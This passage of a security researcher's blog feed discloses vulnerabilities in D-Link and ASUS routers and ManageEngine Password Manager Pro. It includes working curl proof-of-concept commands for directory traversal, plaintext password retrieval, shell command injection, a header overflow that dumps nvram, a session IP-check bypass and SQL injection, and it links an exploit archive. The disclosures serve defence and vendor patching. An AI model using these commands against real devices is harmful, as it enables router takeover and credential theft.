<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://routerip/uir//etc/passwd
</code></pre></div></div>

<p>The vulnerability can be used retrieve administrative password using the other disclosed vulnerability - CVE-2018-10824.</p>

<p>This vulnerability was reported previously by Patryk Bogdan in CVE-2017-6190 but he reported it is fixed in certain release but unfortunately it is still present in even newer releases. The vulnerability is also present in other D-Link routers and can be
exploited not only (as the original author stated) by double dot but also absolutely using double slash.</p>

<hr />

<h1 id="2-password-stored-in-plaintext">2. Password stored in plaintext</h1>
<p><strong>CVE</strong>: CVE-2018-10824</p>

<p><strong>Description</strong>:</p>

<p>An issue was discovered on D-Link routers:</p>
<ul>
  <li>DWR-116 through 1.06,</li>
  <li>DIR-140L through 1.02,</li>
  <li>DIR-640L through 1.02,</li>
  <li>DWR-512 through 2.02,</li>
  <li>DWR-712 through 2.02,</li>
  <li>DWR-912 through 2.02,</li>
  <li>DWR-921 through 2.02,</li>
  <li>DWR-111 through 1.01,</li>
  <li>and probably others with the same type of firmware.</li>
</ul>

<p>NOTE: I have changed the filename in description to XXX because the vendor leaves some EOL routers unpatched  and the attack is too simple</p>

<p>The administrative password is stored in plaintext in the /tmp/XXX/0 file. An attacker having a directory traversal (or LFI) can easily get full router access.</p>

<p>PoC using the directory traversal vulnerability disclosed above - CVE-2018-10822</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://routerip/uir//tmp/XXX/0
</code></pre></div></div>

<p>This command returns a binary config file which contains admin username and password as well as many other router configuration settings. By using the directory traversal vulnerability it is possible to read the file without authentication.</p>

<hr />

<h1 id="3-shell-command-injection">3. Shell command injection</h1>
<p><strong>CVE</strong>: CVE-2018-10823</p>

<p><strong>CVSS v3</strong>: 9.1<br />
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H<br /></p>

<p><strong>Description</strong>:
An issue was discovered on D-Link routers:</p>
<ul>
  <li>DWR-116 through 1.06,</li>
  <li>DWR-512 through 2.02,</li>
  <li>DWR-712 through 2.02,</li>
  <li>DWR-912 through 2.02,</li>
  <li>DWR-921 through 2.02,</li>
  <li>DWR-111 through 1.01,</li>
  <li>and probably others with the same type of firmware.</li>
</ul>

<p>An authenticated attacker may execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals.</p>

<p>PoC:</p>
<ol>
  <li>Login to the router.</li>
  <li>Request the following URL after login:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://routerip/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd
</code></pre></div>    </div>
  </li>
  <li>See the passwd file contents in the response.</li>
</ol>

<hr />

<h1 id="exploiting-all-together">Exploiting all together</h1>
<p>Taking all the three together it is easy to gain full router control including arbitrary code execution.</p>

<p>Suggested <strong>CVSS v3</strong> for all three (1-3): <span style="color:red"><strong>10.0</strong></span> <br />
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</p>

<p><strong>Video</strong>:</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/s2xrQlfd7BY" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen=""></iframe>

<p><strong>Timeline</strong>:</p>
<ul>
  <li>09.05.2018 - vendor notified</li>
  <li>06.06.2018 - asked vendor about the status because of long vendor response</li>
  <li>22.06.2018 - recieved a reply that a patch will be released for DWR-116 and DWR-111, for the other devices which are EOL an announcement will be released</li>
  <li>09.09.2018 - still no reply from vendor about the patches or announcement, I have warned the vendor that if I will not get a reply in a month I will publish the disclosure</li>
  <li>12.10.2018 - disclosing the vulnerabilities</li>
</ul>]]></content><author><name>Blazej Adamczyk (br0x)</name></author><category term="CVE" /><category term="D-Link" /><category term="router" /><category term="CVE-2018-10822" /><category term="CVE-2018-10823" /><category term="CVE-2018-10824" /><summary type="html"><![CDATA[I have found multiple vulnerabilities in D-Link router httpd server. These vulnerabilities are present in multiple D-Link types of routers. All three taken together allow to take a full control over te router including code execution. 1. Directory Traversal CVE: CVE-2018-10822]]></summary></entry><entry><title type="html">ASUS routers - part I (CVE-2017-15655)</title><link href="http://localhost:4000/2018/01/16/ASUS-part-I.html" rel="alternate" type="text/html" title="ASUS routers - part I (CVE-2017-15655)" /><published>2018-01-16T00:00:00+01:00</published><updated>2018-01-16T00:00:00+01:00</updated><id>http://localhost:4000/2018/01/16/ASUS-part-I</id><content type="html" xml:base="http://localhost:4000/2018/01/16/ASUS-part-I.html"><![CDATA[<h1 id="heap-buffer-overflow-in-multiple-http-headers-allows-for-an-unauthenticated-remote-code-execution">Heap buffer overflow in multiple HTTP headers allows for an unauthenticated remote code execution.</h1>
<p><strong>ALERT!</strong> Users having routers not upgradable from 3.0.0.4.376.* or less
should CLOSE the http from WAN and should restrict the access to
management port from LAN as well!<br /><br /></p>

<p><strong>CVE</strong>: CVE-2017-15655</p>

<p><strong>CVSS v3</strong>: 9.6<br />
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H <br />
(Administrator needs to login and
visit certain page at the router website)</p>

<p><strong>Description</strong>:</p>

<p>This vulnerability affects new Asus routers with not up-to-date
firmware, as well as some older end-of-life routers (e.g. RT-N65R,
RT-N65U)</p>

<p>Multiple buffer overflow vulnerabilities in HTTPd server in Asus
asuswrt version &lt;=3.0.0.4.376.X. All have been fixed in version
3.0.0.4.378, but this vulnerability was not previously disclosed.
Some end-of-life routers have this version as the newest so are
vulnerable at this time. This vulnerability allows for RCE with
administrator rights when the administrator visits serveral pages.</p>

<p>For example the “Host:” header is vulnerable and allows to override
the SystemCmd variable which then allows for RCE when the
administrator visits serveral pages (for example the network tools
router tab).</p>

<p>PoC (after running this script, when the administrator visists one of
several pages which trigger commands e.g. the network tools tab, the
script is being run and outputs the contents of nvram to a css file
which can be retrived without authentication)</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>curl <span class="s1">'http://routerIP:8080'</span> <span class="nt">-H</span> <span class="s2">"Host: xxxxxxxxxxxxxx </span><span class="si">$(</span><span class="k">for </span>i <span class="k">in</span> <span class="si">$(</span><span class="nb">seq </span>1 9700<span class="si">)</span><span class="p">;</span> <span class="k">do </span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">" "</span><span class="p">;</span> <span class="k">done</span><span class="si">)</span><span class="s2">  </span><span class="se">\$</span><span class="s2">(nvram show &gt; /www/user/nvram.css )"</span></code></pre></figure>

<p><strong>Timeline</strong>:</p>
<ul>
  <li>17.09.2017 - vendor notified</li>
  <li>18.09.2017 - vendor REFUSED to fix the vulnerability as the routers using the vulnerable firmware are already EOL</li>
</ul>

<p><strong>Video</strong>:</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/jRG0eSCUJP8" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen=""></iframe>]]></content><author><name>Blazej Adamczyk (br0x)</name></author><category term="CVE" /><category term="ASUS" /><category term="CVE-2017-15655" /><summary type="html"><![CDATA[Heap buffer overflow in multiple HTTP headers allows for an unauthenticated remote code execution. ALERT! Users having routers not upgradable from 3.0.0.4.376.* or less should CLOSE the http from WAN and should restrict the access to management port from LAN as well!]]></summary></entry><entry><title type="html">ASUS routers - part II (CVE-2017-15653, CVE-2017-15654, CVE-2017-15656)</title><link href="http://localhost:4000/2018/01/16/ASUS-part-II.html" rel="alternate" type="text/html" title="ASUS routers - part II (CVE-2017-15653, CVE-2017-15654, CVE-2017-15656)" /><published>2018-01-16T00:00:00+01:00</published><updated>2018-01-16T00:00:00+01:00</updated><id>http://localhost:4000/2018/01/16/ASUS-part-II</id><content type="html" xml:base="http://localhost:4000/2018/01/16/ASUS-part-II.html"><![CDATA[<p>All versions of AsusWRT routers at the time of report to vendor were vulnerable.
For previous 376 version see <a href="/tags/CVE-2017-15655">CVE-2017-15655</a></p>

<hr />

<h1 id="1-highly-predictable-session-tokens">1. Highly predictable session tokens</h1>
<p><strong>CVE</strong>: CVE-2017-15654</p>

<p><strong>CVSS v3</strong>: 8.3<br />
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H <br />
(Attacker needs administrator interaction and a way to overcome administrator IP check - see next point)</p>

<p><strong>Description</strong>:
The session token is generated for an authenticated user using stdlib rand function. The token generation code looks as follows:</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c">    <span class="kt">char</span> <span class="o">*</span><span class="nf">generate_token</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
       <span class="kt">int</span> <span class="n">a</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">b</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">c</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">d</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
       <span class="c1">//char create_token[32]={0};</span>
       <span class="n">memset</span><span class="p">(</span><span class="n">gen_token</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="k">sizeof</span><span class="p">(</span><span class="n">gen_token</span><span class="p">));</span>
       <span class="n">srand</span> <span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>   <span class="c1">//VULNERABLE</span>
       <span class="n">a</span><span class="o">=</span><span class="n">rand</span><span class="p">();</span>
       <span class="n">b</span><span class="o">=</span><span class="n">rand</span><span class="p">();</span>
       <span class="n">c</span><span class="o">=</span><span class="n">rand</span><span class="p">();</span>
       <span class="n">d</span><span class="o">=</span><span class="n">rand</span><span class="p">();</span>
       <span class="n">snprintf</span><span class="p">(</span><span class="n">gen_token</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">gen_token</span><span class="p">),</span><span class="s">"%d%d%d%d"</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">);</span>
       <span class="k">return</span> <span class="n">gen_token</span><span class="p">;</span>
    <span class="p">}</span></code></pre></figure>

<p>The code initializes the random number generator each time a token is generated with router epoch time.</p>

<p>An attacker can guess a token knowing more or less the time the administrator has logged in.</p>

<p><strong>Timeline</strong>:</p>
<ul>
  <li>17.09.2017 - vendor notified</li>
  <li>07.11.2017 - vendor releases a fixed version 3.0.0.4.382.18495</li>
</ul>

<hr />

<h1 id="2-not-sufficient-logged-user-ip-validation">2. Not sufficient logged user IP validation</h1>
<p><strong>CVE</strong>: CVE-2017-15653</p>

<p><strong>CVSS v3</strong>: 8.3<br />
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H<br /> 
(Attacker needs the session token to execute any action without IP check - see point above)</p>

<p><strong>Description</strong>:
An attacker who knows the session token can walkaround the IP verification mechanism by sending requests with a special useragent.</p>

<p>The following PoC will download current router configuration even if issued from a different than the logged user IP address:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">    curl <span class="s2">"http://ROUTERADDRESS/s.CFG"</span> <span class="nt">-H</span> <span class="s2">"Cookie: asus_token=TOKEN"</span> <span class="nt">-H</span> <span class="s1">'User-Agent: asusrouter-asusrouter-asusrouter-asusrouter'</span></code></pre></figure>

<p><strong>Timeline</strong>:</p>
<ul>
  <li>17.09.2017 - vendor notified</li>
  <li>07.11.2017 - vendor releases a fixed version 3.0.0.4.382.18495</li>
</ul>

<hr />

<h1 id="3-password-stored-in-plain-text">3. Password stored in plain text</h1>
<p><strong>CVE</strong>: CVE-2017-15656</p>

<p><strong>Description</strong>:
Asus routers store password in plain text in NVRAM memory. Executing nvram show, or downloading the backup file and decoding it allows anyone to read the administrator password.</p>

<p>Having access to telnet (shell) one can execute:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">    nvram show</code></pre></figure>

<p>For reading password from backup file see the exploit below.</p>

<p><strong>Timeline</strong>:</p>
<ul>
  <li>17.09.2017 - vendor notified</li>
  <li>03.01.2018 - vendor stated that the NVRAM will be crypted in February this year</li>
</ul>

<hr />

<h1 id="4-logged-in-information-disclousure">4. Logged-in information disclousure</h1>

<p>An unauthenticated attacker can retrieve information about a logged-in session (if and who [IP address] is currently logged in). This itself is not a vulnerability but together with the two previous it allows for a easy exploit.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">    curl <span class="s2">"http://ROUTERADDRESS/Nologin.asp"</span></code></pre></figure>

<hr />

<h1 id="exploiting-all-together">Exploiting all together</h1>
<p>Taking all the four together it is easy to gain router access by waiting for an administrator login and retrieving the login/password using his token. Finally it is possible to download the backup file and read the administrator login and password. A ready script is attached to this message.</p>

<p>Suggested <strong>CVSS v3</strong> for all three (1-3): <span style="color:red"><strong>9.6</strong></span> <br />
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H</p>

<p><strong>Video</strong>:</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/srSFROVvMlk" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen=""></iframe>

<p><strong>Exploit</strong>:
<a href="/files/asuswrt.tar.gz">asuswrt.tar.gz</a></p>]]></content><author><name>Blazej Adamczyk (br0x)</name></author><category term="CVE" /><category term="ASUS" /><category term="CVE-2017-15653" /><category term="CVE-2017-15654" /><category term="CVE-2017-15656" /><summary type="html"><![CDATA[All versions of AsusWRT routers at the time of report to vendor were vulnerable. For previous 376 version see CVE-2017-15655]]></summary></entry><entry><title type="html">ManageEngine Password Manager Pro &amp;lt;= 8.1 (build 8100) - SQL Injection vulnerability</title><link href="http://localhost:4000/2015/06/30/ManageEngine-Password-Manager-Pro-SQL-injection.html" rel="alternate" type="text/html" title="ManageEngine Password Manager Pro &amp;lt;= 8.1 (build 8100) - SQL Injection vulnerability" /><published>2015-06-30T00:00:00+02:00</published><updated>2015-06-30T00:00:00+02:00</updated><id>http://localhost:4000/2015/06/30/ManageEngine-Password-Manager-Pro-SQL-injection</id><content type="html" xml:base="http://localhost:4000/2015/06/30/ManageEngine-Password-Manager-Pro-SQL-injection.html"><![CDATA[<p><strong>CVE</strong>: CVE-2015-5459</p>

<p><strong>CVSS v3</strong>: 9.9<br />
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H<br /></p>

<p><strong>Description</strong>:
An authenticated user (even the guest user) is able to execute arbitrary SQL code using a forged request to the SQLAdvancedALSearchResult.cc. The SQL query is build manually and is not escaped properly in the AdvanceSearch.class of AdventNetPassTrix.jar.</p>

<p>The problem is with escaping the operator when more then one condition is specified in the advanced search.</p>

<p>PoC:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl https://localhost:7272/STATE_ID/1425543888647/SQLAdvancedALSearchResult.cc?ANDOR<span class="o">=</span><span class="k">***</span>HERE_INJECT<span class="k">***</span>&amp;condition_1<span class="o">=</span>Ptrx_Resource@RESOURCENAME&amp;operator_1<span class="o">=</span>CONTAINS&amp;value_1<span class="o">=</span>asd&amp;condition_2<span class="o">=</span>Ptrx_Resource@RESOURCENAME&amp;operator_2<span class="o">=</span>CONTAINS&amp;value_2<span class="o">=</span>asd2&amp;FLAG<span class="o">=</span>TRUE&amp;COUNT<span class="o">=</span>2&amp;USERID<span class="o">=</span><span class="k">***</span>USERID<span class="k">***</span>&amp;ADVSEARCH<span class="o">=</span><span class="nb">true</span>&amp;SUBREQUEST<span class="o">=</span>XMLHTTP
</code></pre></div></div>

<p><strong>Video</strong>:</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/sTBpXaX8fWw" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen=""></iframe>

<p><strong>Timeline</strong>:</p>
<ul>
  <li>30.06.2015 - vendor notified</li>
  <li>15.07.2015 - vendor fixed the vulnerability in version 8.1 (build 8101)</li>
</ul>

<p><strong>References</strong>: I wrote an article about “zero-knowledge” secret management systems to compare different existing password managers and give guidance on how to choose a really secure password management software:</p>

<p>Adamczyk Błażej. Secure and convenient secret management in distributed computer systems, 2016. WSEAS TRANSACTIONS ON COMPUTERS, vol. 15, no. 2016, pp. 327-333, <a href="http://www.wseas.org/multimedia/journals/computers/2016/a565805-087.pdf">Full text</a></p>

<hr />]]></content><author><name>Blazej Adamczyk (br0x)</name></author><category term="ManageEngine" /><category term="Password" /><category term="Manager" /><category term="Plus" /><category term="CVE" /><category term="CVE-2015-5459" /><summary type="html"><![CDATA[CVE: CVE-2015-5459]]></summary></entry></feed>